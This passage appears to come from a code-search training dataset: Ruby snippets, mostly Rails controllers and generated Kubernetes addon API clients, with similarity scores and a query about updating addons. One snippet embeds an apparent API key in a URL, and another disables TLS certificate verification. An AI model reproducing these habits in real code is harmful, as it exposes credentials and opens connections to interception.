:operation => :\"KubernetesApi.update_kubernetes_addon_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#update_kubernetes_addon_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def destroy\n @addons_combo.destroy\n respond_to do |format|\n format.html { redirect_to addons_combos_url, notice: 'Addons combo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def add\n configure_addon('Adding') do |addon, config|\n heroku.install_addon(app, addon, config)\n end\n end",
"def add\n configure_addon('Adding') do |addon, config|\n heroku.install_addon(app, addon, config)\n end\n end",
"def create\n @moretinymobtrail = Moretinymobtrail.new(params[:moretinymobtrail])\n\n respond_to do |format|\n if @moretinymobtrail.save\n format.html { redirect_to @moretinymobtrail, notice: 'Moretinymobtrail was successfully created.' }\n format.json { render json: @moretinymobtrail, status: :created, location: @moretinymobtrail }\n else\n format.html { render action: \"new\" }\n format.json { render json: @moretinymobtrail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list_installed_addons()\n list = Array.new\n addons = Array.new\n \n Dir.foreach(@addons) {|x| list.push x }\n \n list.each do |l|\n if !@no_way.index(l)\n addons.push l\n end\n end\n \n return addons\n end",
"def index\n json = HTTParty.get(\"https://api.typeform.com/v1/form/WaIffL?key=f486f2db8f1249c077a08b582bc3efe0a2617668\").body\n\n @jsontests = JSON.parse(json)\n\n end",
"def update_kubernetes_addon_definition_with_http_info(moid, kubernetes_addon_definition, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.update_kubernetes_addon_definition ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.update_kubernetes_addon_definition\"\n end\n # verify the required parameter 'kubernetes_addon_definition' is set\n if @api_client.config.client_side_validation && kubernetes_addon_definition.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_addon_definition' when calling KubernetesApi.update_kubernetes_addon_definition\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonDefinitions/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_addon_definition)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonDefinition'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.update_kubernetes_addon_definition\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#update_kubernetes_addon_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n @food_item_add_on = FoodItemAddOn.new(food_item_add_on_params)\n\n\n\n#Todo: can select multiple items for a sinfle addons\n respond_to do |format|\n if @food_item_add_on.save\n format.html { redirect_to :controller => 'home', :action => 'dashboard' }\n format.json { render :show, status: :created, location: @food_item_add_on }\n else\n format.html { render :new }\n format.json { render json: @food_item_add_on.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(domain, action, url = '')\n res = @client.post(\"domains/#{domain}/webhooks\", id: action, url: url)\n res.to_h['webhook']['url'] == url && res.to_h['message'] == 'Webhook has been created'\n end",
"def add_on_params\n params.require(:add_on).permit(:name, :price, :published)\n end",
"def index\n @invoice_addon_line_items = InvoiceAddonLineItem.all\n end",
"def ext_create(opts = {})\n ext_api = ActiveExtAPI::StoreCreate.new self\n ext_api.create opts\n end",
"def create\n @extra = Extra.new(extra_params)\n\n if @extra.save\n render json: @extra, status: :created, location: @extra\n else\n render json: @extra.errors, status: :unprocessable_entity\n end\n end",
"def index\n @apps = Addon.all\n end",
"def has_addon?(addon_name)\n return true unless addons_feature_enabled?\n\n return false unless addon_name\n return true if all_addons_enabled_mode?\n\n active_addons.select { |active| active.name == addon_name }.present?\n end",
"def add\n # load agent\n @helper = Services::Helper.new\n\n\n agent_object = JSON.parse(File.read(\"data/agents/#{params[:agent]}.js\"))\n agent_object['identifier'] = \"#{agent_object['identifier']}_#{current_user.id}_#{@helper.random_int}\"\n @agent = Agent.create! agent_object\n @agent.events_count = 0\n @agent.last_check_at = Time.now\n \n current_user.agents.push @agent\n\n #load template\n template_object = JSON.parse(File.read(\"data/templates/#{params[:template]}.js\"))\n template_object['identifier'] = \"#{template_object['identifier']}_#{current_user.id}_#{@helper.random_int}\"\n @template = Template.create! template_object \n @template.status = 100\n @template.count = 0\n current_user.templates.push @template\n\n # create integrations\n integration_object = {}\n integration_object[:identifier] = \"#{@agent[:identifier]}_2_#{@template[:identifier]}\"\n integration_object[:title] = \"#{@agent[:title]} to #{@template[:title]}\"\n integration_object[:status] = 100\n @integration = Integration.create! integration_object \n @integration.agents.push @agent\n @integration.templates.push @template\n\n current_user.integrations.push @integration\n\n if @agent.save && @template.save && @integration.save then \n respond_to do |format|\n format.html { redirect_to @integration }\n end\n end\n end",
"def delete_kubernetes_addon_policy_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.delete_kubernetes_addon_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.delete_kubernetes_addon_policy\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.delete_kubernetes_addon_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#delete_kubernetes_addon_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def set_product_add_on_list_item\n @addon_list_item = AddonListItem.find(params[:id])\n end",
"def create\n @txdotlight = Txdotlight.new(txdotlight_params)\n\n respond_to do |format|\n if @txdotlight.save\n format.html { redirect_to @txdotlight, notice: 'TX-DOT Light Call-Out was successfully created.' }\n format.json { render :show, status: :created, location: @txdotlight }\n else\n format.html { render :new }\n format.json { render json: @txdotlight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @extintor = Extintor.new(extintor_params)\n\n respond_to do |format|\n if @extintor.save\n format.html { redirect_to @extintor, notice: 'Extintor was successfully created.' }\n format.json { render :show, status: :created, location: @extintor }\n else\n format.html { render :new }\n format.json { render json: @extintor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @powe_factor_nozzle_x = PoweFactorNozzleX.new(powe_factor_nozzle_x_params)\n\n respond_to do |format|\n if @powe_factor_nozzle_x.save\n format.html { redirect_to @powe_factor_nozzle_x, notice: 'Powe factor nozzle x was successfully created.' }\n format.json { render :show, status: :created, location: @powe_factor_nozzle_x }\n else\n format.html { render :new }\n format.json { render json: @powe_factor_nozzle_x.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n userID = session[:user_id]\n editionID = params[:edition_id]\n price = params[:price]\n\n uri = URI(\"http://107.170.7.58:4567/api/create/sell\")\n parameters = {\"ext\" => \"json\", \"user_id\" => userID, \"edition_id\" => editionID, \"price\" => price, \"start_date\" => Time.now, \"end_date\" => 90.days.from_now}\n response = Net::HTTP.post_form(uri, parameters)\n list = JSON.parse(response.body)\n\n @response = list[0][\"kind\"]\n end",
"def create\n megam_rest.post_subscriptions(to_hash)\n end",
"def add_prowl(options)\n uri = URI.parse(\"https://prowl.weks.net/publicapi/add\")\n https = Net::HTTP.new(uri.host, uri.port)\n # We have to use SSL\n https.use_ssl = true\n # Avoid to get warning\n https.verify_mode = OpenSSL::SSL::VERIFY_NONE\n req = Net::HTTP::Post.new(uri.path)\n # Default options for notifications\n options = {:apikey => $configure[:prowl][:apikey], :application => \"Twitter\", :priority => 0}.merge(options)\n req.set_form_data(options)\n https.request(req)\nend",
"def delete_kubernetes_addon_definition_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.delete_kubernetes_addon_definition ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.delete_kubernetes_addon_definition\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonDefinitions/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.delete_kubernetes_addon_definition\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#delete_kubernetes_addon_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end"
] |
[
"0.65353346",
"0.6518918",
"0.6031212",
"0.5991275",
"0.58627856",
"0.58574337",
"0.58145547",
"0.57844406",
"0.5724894",
"0.5643226",
"0.5596802",
"0.5585432",
"0.5520566",
"0.5494717",
"0.54764175",
"0.5467544",
"0.54673",
"0.54587764",
"0.54587764",
"0.5340771",
"0.5319821",
"0.52853906",
"0.52614063",
"0.52567935",
"0.52471805",
"0.5235577",
"0.52309114",
"0.5228421",
"0.52179813",
"0.5188769",
"0.51473385",
"0.5078046",
"0.5053756",
"0.5036754",
"0.50358754",
"0.4988928",
"0.49869487",
"0.49819946",
"0.49786007",
"0.4955331",
"0.49332964",
"0.48643523",
"0.4845727",
"0.4831461",
"0.482297",
"0.4818825",
"0.48187718",
"0.48135716",
"0.48084202",
"0.48063797",
"0.47893378",
"0.4777683",
"0.4754778",
"0.47310865",
"0.47169805",
"0.47156793",
"0.47126874",
"0.4706776",
"0.47038636",
"0.4701707",
"0.4690995",
"0.46734694",
"0.4672219",
"0.46691453",
"0.46686018",
"0.46646467",
"0.466446",
"0.46583724",
"0.4655175",
"0.46448392",
"0.46422687",
"0.46393",
"0.4631396",
"0.46312362",
"0.46283585",
"0.46218082",
"0.46191624",
"0.46067587",
"0.46067587",
"0.46034592",
"0.46017325",
"0.45928943",
"0.4591876",
"0.4584608",
"0.4571945",
"0.45585987",
"0.45508254",
"0.45482844",
"0.4546358",
"0.45411962",
"0.4538318",
"0.45381865",
"0.45326167",
"0.4528208",
"0.45185864",
"0.45159286",
"0.45092925",
"0.4499895",
"0.4495759",
"0.44934502",
"0.4492661"
] |
0.0
|
-1
|
PATCH/PUT /xmt/addons/1 PATCH/PUT /xmt/addons/1.json
|
def update
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n respond_to do |format|\n if @addons_combo.update(addons_combo_params)\n format.html { redirect_to @addons_combo, notice: 'Addons combo was successfully updated.' }\n format.json { render :show, status: :ok, location: @addons_combo }\n else\n format.html { render :edit }\n format.json { render json: @addons_combo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch_kubernetes_addon_repository_with_http_info(moid, kubernetes_addon_repository, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.patch_kubernetes_addon_repository ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.patch_kubernetes_addon_repository\"\n end\n # verify the required parameter 'kubernetes_addon_repository' is set\n if @api_client.config.client_side_validation && kubernetes_addon_repository.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_addon_repository' when calling KubernetesApi.patch_kubernetes_addon_repository\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonRepositories/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_addon_repository)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonRepository'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.patch_kubernetes_addon_repository\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#patch_kubernetes_addon_repository\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def patch!\n request! :patch\n end",
"def update!(**args)\n @request_extensions = args[:request_extensions] if args.key?(:request_extensions)\n end",
"def patch_kubernetes_addon_definition_with_http_info(moid, kubernetes_addon_definition, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.patch_kubernetes_addon_definition ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.patch_kubernetes_addon_definition\"\n end\n # verify the required parameter 'kubernetes_addon_definition' is set\n if @api_client.config.client_side_validation && kubernetes_addon_definition.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_addon_definition' when calling KubernetesApi.patch_kubernetes_addon_definition\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonDefinitions/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_addon_definition)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonDefinition'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.patch_kubernetes_addon_definition\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#patch_kubernetes_addon_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update_kubernetes_addon_repository_with_http_info(moid, kubernetes_addon_repository, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.update_kubernetes_addon_repository ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.update_kubernetes_addon_repository\"\n end\n # verify the required parameter 'kubernetes_addon_repository' is set\n if @api_client.config.client_side_validation && kubernetes_addon_repository.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_addon_repository' when calling KubernetesApi.update_kubernetes_addon_repository\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonRepositories/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_addon_repository)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonRepository'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.update_kubernetes_addon_repository\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#update_kubernetes_addon_repository\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def patch_kubernetes_addon_policy_with_http_info(moid, kubernetes_addon_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.patch_kubernetes_addon_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.patch_kubernetes_addon_policy\"\n end\n # verify the required parameter 'kubernetes_addon_policy' is set\n if @api_client.config.client_side_validation && kubernetes_addon_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_addon_policy' when calling KubernetesApi.patch_kubernetes_addon_policy\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_addon_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.patch_kubernetes_addon_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#patch_kubernetes_addon_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n @store_detail = StoreDetail.find(params[:store_detail_id])\n @addon = Addon.find(params[:id])\n respond_to do |format|\n if @addon.update(addon_params)\n format.html { redirect_to store_detail_addon_url, notice: 'addon detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @addon }\n else\n format.html { render :edit }\n format.json { render json: @addon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n respond_to do |format|\n if @addon_list_item.update(addon_params)\n format.json { render :show, status: :ok, location: @addon_list_item }\n else\n format.json { render json: @addon_list_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cmd_modify argv\n setup argv\n json = @hash['json']\n e = @hash['element']\n response = @api.modify(json, e)\n msg response\n return response\n end",
"def update_kubernetes_addon_definition_with_http_info(moid, kubernetes_addon_definition, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.update_kubernetes_addon_definition ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.update_kubernetes_addon_definition\"\n end\n # verify the required parameter 'kubernetes_addon_definition' is set\n if @api_client.config.client_side_validation && kubernetes_addon_definition.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_addon_definition' when calling KubernetesApi.update_kubernetes_addon_definition\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonDefinitions/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_addon_definition)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonDefinition'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.update_kubernetes_addon_definition\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#update_kubernetes_addon_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n respond_to do |format|\n if @extension.update(extension_params)\n\n format.html { redirect_to request.referrer, notice: 'Extension was successfully updated.' }\n\n format.json { render :show, status: :ok, location: @extension }\n else\n format.html { render :edit }\n format.json { render json: @extension.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user_addon = UserAddon.find(params[:id])\n\n respond_to do |format|\n if @user_addon.update_attributes(params[:user_addon])\n format.html { redirect_to([:scaffold, @user_addon], :notice => 'User addon was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_addon.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @extension_line = ExtensionLine.find(params[:id])\n\n respond_to do |format|\n if @extension_line.update_attributes(params[:extension_line])\n format.html { redirect_to @extension_line, notice: 'Extension was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @extension_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n respond_to do |format|\n\n format.json { render json: Axis.find(params[:id]).update( name: params[:name]) }\n end\n\n # end\n end",
"def patch_kubernetes_cluster_addon_profile_with_http_info(moid, kubernetes_cluster_addon_profile, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.patch_kubernetes_cluster_addon_profile ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.patch_kubernetes_cluster_addon_profile\"\n end\n # verify the required parameter 'kubernetes_cluster_addon_profile' is set\n if @api_client.config.client_side_validation && kubernetes_cluster_addon_profile.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_cluster_addon_profile' when calling KubernetesApi.patch_kubernetes_cluster_addon_profile\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/ClusterAddonProfiles/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_cluster_addon_profile)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesClusterAddonProfile'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.patch_kubernetes_cluster_addon_profile\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#patch_kubernetes_cluster_addon_profile\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update!(**args)\n @extension = args[:extension] if args.key?(:extension)\n @request_id = args[:request_id] if args.key?(:request_id)\n end",
